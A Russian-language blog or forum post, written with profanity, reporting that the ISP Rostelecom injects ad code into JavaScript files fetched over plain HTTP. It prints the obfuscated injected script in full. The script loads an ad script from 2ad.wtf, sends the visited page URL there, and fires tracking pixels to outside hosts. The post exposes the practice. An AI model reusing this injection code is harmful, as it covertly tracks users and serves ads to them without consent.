Ростелеком подменивает JS-файлы
Не буду писать целый детективный сказ о том как мне довелось обнаружить и методом исключения определить виновника, но фак остается факом: Ростелеком подменяется содержимое загружаемого JS-файла, если он запрашивается не через https.
Возникает это спонтанно, не при каждом запросе, без явно видимого паттерна. Возникло по ощущуениям в течение последнего месяца, когда я проверял доступность одного из своих скриптов и вместо загрузки получил 307 редирект на домен http://r.2ad.wtf/?orig=http%3A%2F%2Fexample.com%2Ftest.js&id=778420ab3cc3ea2edee8723a3b700bca78b9®=23
Со следующим содержимым:
var _0x23f1 = [
'hmcsN',
'OKlrp',
'Wjrov',
'KKiky',
'currentScript',
'scripts',
'rkxBJ',
'defer',
'htLqe',
'ywtGv',
'__qsrad',
'http://dmg.digitaltarget.ru/1/6628/i/i?i=',
'random',
'&c=tg:sid_na%20aid_',
'%20step_sub%20rid_',
'anPus',
'aSSXP',
'ODLAD',
'AkhyC',
'OVCYC',
'&if=',
'FInJV',
'Jynff',
'joSbn',
'IKuek',
'self',
'RYBQX',
'bXIBc',
'aAnMP',
'parentNode',
'insertBefore',
'nextSibling',
'write',
'outerHTML',
'createElement',
'JgGSx',
'prototype',
'slice',
'call',
'attributes',
'Puluq',
'setAttribute',
'nodeValue',
'src',
'®=',
'&id=',
'&referer=',
'script',
'http://p.2ad.wtf/ad/base.js?id=',
'http://d.2ad.wtf/p.gif?ch=r&rid=',
'rwSzs',
'KVDqs',
'fbbQj',
'sZuBB'
];
(function (_0x38ae5c, _0x3b4b7f) {
var _0x56bea0 = function (_0x217d5a) {
while (--_0x217d5a) {
_0x38ae5c['push'](_0x38ae5c['shift']());
}
};
_0x56bea0(++_0x3b4b7f);
}(_0x23f1, 0x104));
var _0x389e = function (_0x5cd1f7, _0x1200c1) {
_0x5cd1f7 = _0x5cd1f7 - 0x0;
var _0x6da02d = _0x23f1[_0x5cd1f7];
return _0x6da02d;
};
(function () {
var _0x49c5bb = {
'anPus': function (_0x2015c0, _0x2c61f8) {
return _0x2015c0 + _0x2c61f8;
},
'aSSXP': function (_0x20caa7, _0x212e64) {
return _0x20caa7 + _0x212e64;
},
'ODLAD': function (_0x3a9e6a, _0x3aae04) {
return _0x3a9e6a + _0x3aae04;
},
'AkhyC': function (_0x5cef94, _0x2013e7) {
return _0x5cef94 + _0x2013e7;
},
'OVCYC': function (_0x4d8c1a, _0x6db1e9) {
return _0x4d8c1a + _0x6db1e9;
},
'FInJV': function (_0x1b138a, _0x3ac28) {
return _0x1b138a(_0x3ac28);
},
'Jynff': function (_0x36d95e, _0xe749d7) {
return _0x36d95e === _0xe749d7;
},
'OKlrp': _0x389e('0x0'),
'joSbn': function (_0x464e55, _0x2c5bc1) {
return _0x464e55(_0x2c5bc1);
},
'IKuek': _0x389e('0x1'),
'ZJBEr': function (_0x1115c7, _0x47fb90) {
return _0x1115c7 !== _0x47fb90;
},
'RYBQX': function (_0x43f824, _0x507c3f) {
return _0x43f824 + _0x507c3f;
},
'bXIBc': _0x389e('0x2'),
'rwSzs': function (_0x3ce4a3, _0x5ef47d) {
return _0x3ce4a3 + _0x5ef47d;
},
'aAnMP': function (_0x3a7d27, _0x32c4ec) {
return _0x3a7d27(_0x32c4ec);
},
'sZuBB': function (_0x4ad819, _0x51e87b) {
return _0x4ad819(_0x51e87b);
},
'JgGSx': _0x389e('0x3'),
'Puluq': function (_0x2bf1d5, _0x4d076e) {
return _0x2bf1d5 < _0x4d076e;
},
'KVDqs': function (_0x280f2e, _0x32af80) {
return _0x280f2e + _0x32af80;
},
'fbbQj': function (_0x443b16, _0x53b4cf) {
return _0x443b16 + _0x53b4cf;
},
'pfbmS': _0x389e('0x4'),
'hmcsN': function (_0x55573e, _0xcc3c30) {
return _0x55573e(_0xcc3c30);
},
'Wjrov': _0x389e('0x5'),
'KKiky': function (_0x1b7bf7, _0x2d5e53) {
return _0x1b7bf7(_0x2d5e53);
},
'rkxBJ': function (_0x805332, _0x11f611) {
return _0x805332 - _0x11f611;
},
'oSEaU': function (_0x32f134) {
return _0x32f134();
},
'htLqe': function (_0x15017d) {
return _0x15017d();
},
'ywtGv': function (_0x907840) {
return _0x907840();
}
};
// javascript-obfuscator:disable
var rid = 'sXoyyOHSmB_D3x4nOmjDzv5fQG0';
var id = '778420ab3cc3ea2edee8723a3b700bca78b9';
var reg = '23';
var orig = 'http://example.com' + '?'; // javascript-obfuscator:enable
var _0x53b9f7 = _0x49c5bb[_0x389e('0x6')](_0x49c5bb[_0x389e('0x7')](_0x49c5bb[_0x389e('0x7')](_0x49c5bb[_0x389e('0x8')](_0x49c5bb['pfbmS'], _0x49c5bb[_0x389e('0x9')](encodeURIComponent, id)), '&rid='), _0x49c5bb[_0x389e('0xa')](encodeURIComponent, rid)), _0x49c5bb[_0x389e('0xb')]) + encodeURIComponent(reg);
var _0x508dae = _0x49c5bb[_0x389e('0x8')](_0x49c5bb[_0x389e('0xc')], _0x49c5bb[_0x389e('0xd')](encodeURIComponent, rid));
var _0x23d860 = document[_0x389e('0xe')] || document[_0x389e('0xf')][_0x49c5bb[_0x389e('0x10')](document['scripts']['length'], 0x1)];
var _0xea865 = _0x50ee0e(orig, _0x23d860);
var _0x794dcf = _0x23d860['async'] || _0x23d860[_0x389e('0x11')] ? _0x4e780e : _0x5937ea;
_0x49c5bb[_0x389e('0xd')](_0x794dcf, _0xea865);
var _0x501428 = _0x49c5bb['oSEaU'](_0x59f8e3);
_0x49c5bb[_0x389e('0x12')](_0x26aaf1);
_0x49c5bb[_0x389e('0x13')](_0x33e6e2);
if (!window[_0x389e('0x14')] && !_0x501428) {
window[_0x389e('0x14')] = 0x1;
window['rid'] = rid;
_0x49c5bb[_0x389e('0x13')](_0x487a19);
}
function _0x33e6e2() {
new Image()['src'] = _0x389e('0x15') + Math[_0x389e('0x16')]() + _0x389e('0x17') + id + '%20reg_' + reg + _0x389e('0x18') + rid;
}
function _0x26aaf1() {
new Image()['src'] = _0x49c5bb[_0x389e('0x19')](_0x49c5bb[_0x389e('0x1a')](_0x49c5bb[_0x389e('0x1a')](_0x49c5bb[_0x389e('0x1b')](_0x49c5bb[_0x389e('0x1c')](_0x49c5bb[_0x389e('0x1d')](_0x49c5bb['OVCYC'](_0x508dae, _0x389e('0x1e')), _0x49c5bb[_0x389e('0x1f')](Number, _0x501428)), '&qsrad='), _0x49c5bb[_0x389e('0x20')](window[_0x389e('0x14')], 0x1) ? 0x1 : 0x0), _0x49c5bb['OKlrp']), _0x49c5bb[_0x389e('0x21')](encodeURIComponent, reg)) + _0x49c5bb[_0x389e('0x22')], _0x49c5bb[_0x389e('0x21')](encodeURIComponent, id));
}
function _0x59f8e3() {
try {
return _0x49c5bb['ZJBEr'](window[_0x389e('0x23')], window['top']);
} catch (_0x3d7bd4) {
return !![];
}
}
function _0x487a19() {
var _0x306157 = _0x49c5bb[_0x389e('0x24')](_0x49c5bb[_0x389e('0x25')], encodeURIComponent(location['href']));
var _0x3b5f19 = _0x49c5bb['rwSzs'](_0x53b9f7, _0x306157);
var _0x4bfca1 = _0x49c5bb[_0x389e('0x26')](_0x50ee0e, _0x3b5f19);
_0x49c5bb[_0x389e('0x9')](_0x4e780e, _0x4bfca1);
}
function _0x4e780e(_0x1c8cbd) {
_0x23d860[_0x389e('0x27')][_0x389e('0x28')](_0x1c8cbd, _0x23d860[_0x389e('0x29')]);
}
function _0x5937ea(_0x39a4c8) {
document[_0x389e('0x2a')](_0x39a4c8[_0x389e('0x2b')]);
}
function _0x50ee0e(_0x23ce2f, _0x51ca22) {
var _0x457409 = document[_0x389e('0x2c')](_0x49c5bb[_0x389e('0x2d')]);
if (_0x51ca22) {
var _0x1d4e8e = Array[_0x389e('0x2e')][_0x389e('0x2f')][_0x389e('0x30')](_0x23d860[_0x389e('0x31')]);
for (var _0x4cf2a0 = 0x0; _0x49c5bb[_0x389e('0x32')](_0x4cf2a0, _0x1d4e8e['length']); _0x4cf2a0++) {
_0x457409[_0x389e('0x33')](_0x1d4e8e[_0x4cf2a0]['nodeName'], _0x1d4e8e[_0x4cf2a0][_0x389e('0x34')]);
}
}
_0x457409[_0x389e('0x35')] = _0x23ce2f;
return _0x457409;
}
}());
Из всего этого следует что Ростелеком охуел в край, уже не насыщаясь абон. платой и сверху накидывая мне в браузер ещё и рекламного говна, коим интернет и так кишит. Под шумок так сказать. Возможно без AdBlock'а я бы заметил это безобразие гораздо раньше. Остается либо мириться с говноедством провайдера либо съебывать.